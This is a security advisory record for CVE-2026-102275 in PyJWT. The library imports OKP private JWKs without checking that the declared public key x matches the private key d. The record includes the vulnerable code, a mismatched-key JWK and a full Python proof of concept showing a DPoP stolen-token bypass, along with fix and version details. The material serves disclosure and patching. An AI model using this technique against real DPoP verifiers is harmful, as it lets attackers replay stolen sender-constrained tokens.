Vulnerabilities in pkg:pypi/PyJWT

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x33g-cr3x-6449",
  "modified" : "2026-10-05T23:44:03Z",
  "published" : "2026-10-05T23:44:03Z",
  "aliases" : [ "CVE-2026-102275" ],
  "summary" : "PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion",
  "details" : "### Summary\n\nPyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`.\n\nWhen `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.\n\nIn affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.\n\n### Details\n\nThe vulnerable logic is in `jwt/algorithms.py`:\n\n```python\nif \"x\" not in obj:\n    raise InvalidKeyError('OKP should have \"x\" parameter')\n\nx = base64url_decode(obj.get(\"x\"))\n\nif \"d\" not in obj:\n    if curve == \"Ed25519\":\n        return Ed25519PublicKey.from_public_bytes(x)\n    return Ed448PublicKey.from_public_bytes(x)\n\nd = base64url_decode(obj.get(\"d\"))\n\nif curve == \"Ed25519\":\n    return Ed25519PrivateKey.from_private_bytes(d)\n\nreturn Ed448PrivateKey.from_private_bytes(d)\n```\n\nWhen `d` is present, `x` is parsed but never compared with the public key derived from `d`.\n\nFor example, PyJWT accepts:\n\n```json\n{\n  \"kty\": \"OKP\",\n  \"crv\": \"Ed25519\",\n  \"x\": \"<legitimate-user-public-key>\",\n  \"d\": \"<attacker-private-key>\"\n}\n```\n\neven though `x` and `d` belong to different key pairs.\n\nThe behavior has existed since OKP private-JWK import was introduced:\n\n* Ed25519: PyJWT 2.1.0+\n* Ed448: PyJWT 2.2.0+\n* Confirmed through PyJWT 2.14.0 and current master\n\nA correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`.\n\n### PoC\n\nThe reproducer creates two Ed25519 keypairs:\n\n* a legitimate holder keypair\n* an attacker keypair\n\nIt then:\n\n1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key.\n2. Creates a DPoP proof JWK containing the legitimate user's `x` together with the attacker's `d`.\n3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding.\n4. Passes the complete JWK to `PyJWK.from_dict()`.\n5. PyJWT imports the private key from the attacker-controlled `d`.\n6. A DPoP proof signed with the attacker's private key verifies successfully.\n\nObserved result:\n\n```text\nthumbprint_matches: true\nactual_key_is_attacker_key: true\nactual_key_matches_declared_x: false\nstolen_sender_constrained_token_accepted: true\nattacker_has_legitimate_private_key: false\n```\n\nTested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.\n\nThe complete reproducer is:\n```python\n#!/usr/bin/env python3\n\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport json\nimport os\nimport platform\nimport time\nfrom importlib.metadata import version\nfrom typing import Any\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey\nfrom cryptography.hazmat.primitives.serialization import (\n    Encoding,\n    NoEncryption,\n    PrivateFormat,\n    PublicFormat,\n)\n\n\nACCESS_TOKEN_SECRET = b\"synthetic-authorization-server-key-32b\"\nHTTP_METHOD = \"GET\"\nHTTP_URI = \"https://resource.example/protected\"\n\n\ndef b64url(raw: bytes) -> str:\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef public_x(private_key: Ed25519PrivateKey) -> str:\n    return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))\n\n\ndef private_d(private_key: Ed25519PrivateKey) -> str:\n    return b64url(\n        private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())\n    )\n\n\ndef jwk_thumbprint(jwk: dict[str, Any]) -> str:\n    canonical = json.dumps(\n        {\"crv\": jwk[\"crv\"], \"kty\": jwk[\"kty\"], \"x\": jwk[\"x\"]},\n        separators=(\",\", \":\"),\n        sort_keys=True,\n    ).encode(\"ascii\")\n    return b64url(hashlib.sha256(canonical).digest())\n\n\ndef access_token_hash(access_token: str) -> str:\n    return b64url(hashlib.sha256(access_token.encode(\"ascii\")).digest())\n\n\ndef verify_resource_request(\n    access_token: str,\n    proof: str,\n    *,\n    reject_private_header_jwk: bool = False,\n) -> dict[str, Any]:\n    \"\"\"Model the security-relevant stages of an RFC 9449 resource server.\"\"\"\n    access_claims = jwt.decode(\n        access_token,\n        ACCESS_TOKEN_SECRET,\n        algorithms=[\"HS256\"],\n        issuer=\"https://authorization.example\",\n        audience=\"resource-api\",\n        options={\"require\": [\"exp\", \"iss\", \"aud\", \"sub\", \"cnf\"]},\n    )\n    header = jwt.get_unverified_header(proof)\n    if header.get(\"typ\") != \"dpop+jwt\" or header.get(\"alg\") != \"EdDSA\":\n        raise ValueError(\"invalid DPoP header policy\")\n    jwk = header.get(\"jwk\")\n    if not isinstance(jwk, dict):\n        raise ValueError(\"missing DPoP JWK\")\n    if reject_private_header_jwk and any(\n        member in jwk for member in (\"d\", \"p\", \"q\", \"dp\", \"dq\", \"qi\", \"k\")\n    ):\n        raise ValueError(\"DPoP header JWK contains private material\")\n    if jwk_thumbprint(jwk) != access_claims[\"cnf\"][\"jkt\"]:\n        raise ValueError(\"DPoP key does not match cnf.jkt\")\n\n    key = jwt.PyJWK.from_dict(jwk)\n    proof_claims = jwt.decode(\n        proof,\n        key,\n        algorithms=[\"EdDSA\"],\n        options={\"require\": [\"htm\", \"htu\", \"iat\", \"jti\", \"ath\"]},\n    )\n    if proof_claims[\"htm\"] != HTTP_METHOD or proof_claims[\"htu\"] != HTTP_URI:\n        raise ValueError(\"DPoP request binding mismatch\")\n    if proof_claims[\"ath\"] != access_token_hash(access_token):\n        raise ValueError(\"DPoP access-token hash mismatch\")\n    return access_claims\n\n\ndef main() -> None:\n    legitimate_holder = Ed25519PrivateKey.generate()\n    attacker = Ed25519PrivateKey.generate()\n    legitimate_x = public_x(legitimate_holder)\n    attacker_x = public_x(attacker)\n\n    legitimate_public_jwk = {\n        \"alg\": \"EdDSA\",\n        \"crv\": \"Ed25519\",\n        \"kty\": \"OKP\",\n        \"x\": legitimate_x,\n    }\n    mismatched_proof_jwk = {\n        **legitimate_public_jwk,\n        \"d\": private_d(attacker),\n    }\n    pinned_jkt = jwk_thumbprint(legitimate_public_jwk)\n\n    now = int(time.time())\n    access_token = jwt.encode(\n        {\n            \"aud\": \"resource-api\",\n            \"cnf\": {\"jkt\": pinned_jkt},\n            \"exp\": now + 300,\n            \"iat\": now,\n            \"iss\": \"https://authorization.example\",\n            \"scope\": \"admin:read\",\n            \"sub\": \"legitimate-holder\",\n        },\n        ACCESS_TOKEN_SECRET,\n        algorithm=\"HS256\",\n    )\n    proof_claims = {\n        \"ath\": access_token_hash(access_token),\n        \"htm\": HTTP_METHOD,\n        \"htu\": HTTP_URI,\n        \"iat\": now,\n        \"jti\": \"synthetic-attacker-proof\",\n    }\n    attacker_proof = jwt.encode(\n        proof_claims,\n        attacker,\n        algorithm=\"EdDSA\",\n        headers={\"jwk\": mismatched_proof_jwk, \"typ\": \"dpop+jwt\"},\n    )\n\n    imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key\n    imported_x = b64url(\n        imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)\n    )\n    accepted_claims = verify_resource_request(access_token, attacker_proof)\n\n    public_only_rejected = False\n    public_only_error = None\n    public_only_proof = jwt.encode(\n        proof_claims,\n        attacker,\n        algorithm=\"EdDSA\",\n        headers={\"jwk\": legitimate_public_jwk, \"typ\": \"dpop+jwt\"},\n    )\n    try:\n        verify_resource_request(access_token, public_only_proof)\n    except Exception as error:\n        public_only_rejected = True\n        public_only_error = type(error).__name__\n\n    private_member_control_rejected = False\n    private_member_control_error = None\n    try:\n        verify_resource_request(\n            access_token,\n            attacker_proof,\n            reject_private_header_jwk=True,\n        )\n    except Exception as error:\n        private_member_control_rejected = True\n        private_member_control_error = type(error).__name__\n\n    result = {\n        \"environment\": {\n            \"PyJWT\": jwt.__version__,\n            \"PyJWT_source\": str(jwt.__file__),\n            \"Python\": platform.python_version(),\n            \"cryptography\": version(\"cryptography\"),\n            \"source_ref\": os.environ.get(\"PYJWT_SOURCE_REF\", \"installed-release\"),\n        },\n        \"dpop_binding\": {\n            \"access_token_subject\": accepted_claims[\"sub\"],\n            \"access_token_scope\": accepted_claims[\"scope\"],\n            \"pinned_jkt\": pinned_jkt,\n            \"proof_jkt\": jwk_thumbprint(mismatched_proof_jwk),\n            \"thumbprint_matches\": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,\n        },\n        \"imported_key\": {\n            \"declared_x\": legitimate_x,\n            \"attacker_x\": attacker_x,\n            \"actual_imported_x\": imported_x,\n            \"actual_key_is_attacker_key\": imported_x == attacker_x,\n            \"actual_key_matches_declared_x\": imported_x == legitimate_x,\n        },\n        \"vulnerable_composition\": {\n            \"stolen_sender_constrained_token_accepted\": accepted_claims[\"sub\"]\n            == \"legitimate-holder\",\n            \"attacker_has_legitimate_private_key\": False,\n        },\n        \"controls\": {\n            \"public_only_jwk_rejected\": public_only_rejected,\n            \"public_only_error\": public_only_error,\n            \"reject_private_header_jwk_blocks_attack\": private_member_control_rejected,\n            \"private_member_control_error\": private_member_control_error,\n        },\n    }\n\n    assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt\n    assert imported_x == attacker_x\n    assert imported_x != legitimate_x\n    assert accepted_claims[\"sub\"] == \"legitimate-holder\"\n    assert public_only_rejected and public_only_error == \"InvalidSignatureError\"\n    assert private_member_control_rejected and private_member_control_error == \"ValueError\"\n    print(json.dumps(result, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n```text\n06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py\n```\n\nA public example of the affected composition exists in StrongDM's `agentic-auth` Flask middleware: it computes an OKP thumbprint from `x` and subsequently passes the entire JWK to `PyJWK.from_dict()` for EdDSA DPoP verification without rejecting `d`.\n\n### Impact\n\nThe PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.\n\nIn a DPoP verifier that:\n\n* calculates `cnf.jkt` / JWK thumbprints from the declared `x`,\n* passes the same JWK to PyJWT for signature verification, and\n* does not reject private JWK parameters,\n\nan attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.\n\nRFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject `d` are not vulnerable to the demonstrated attack.\n\n### Maintainer assessment (2026-09-12)\n\nWe independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding `x` and `d` components returned the private key derived from `d` while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses `x` as the JWK identity and the returned key for cryptographic operations can act on two different key identities.\n\nExact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (`>= 2.1.0, <= 2.14.0`) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.\n\nThe fix is on `master` in commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. It derives the public bytes from `d`, compares them with `x`, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree `9f219601e39026c7094d48f3fbb6678951878aa8` with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command `python -m tox` passed all 35 required environments both before and after the commit.\n\nThe reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.\n\nThe fix is not yet contained in a released PyJWT 2.x version, so `patched_versions` remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on `master`; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.\n---\n\n### Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: matching Ed25519 and Ed448 `x`/`d` private JWK components import successfully, while mismatched components raise `InvalidKeyError`. The supported affected range remains `>= 2.1.0, <= 2.14.0`; the patched version is `2.15.0`. The earlier statement that no released patched version exists is superseded by this update.\n\nThe PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PyJWT"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.0"
      }, {
        "fixed" : "2.15.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-102275"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jpadilla/pyjwt"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345", "CWE-348" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T23:44:03Z",
    "nvd_published_at" : "2026-09-28T21:17:15Z"
  }
}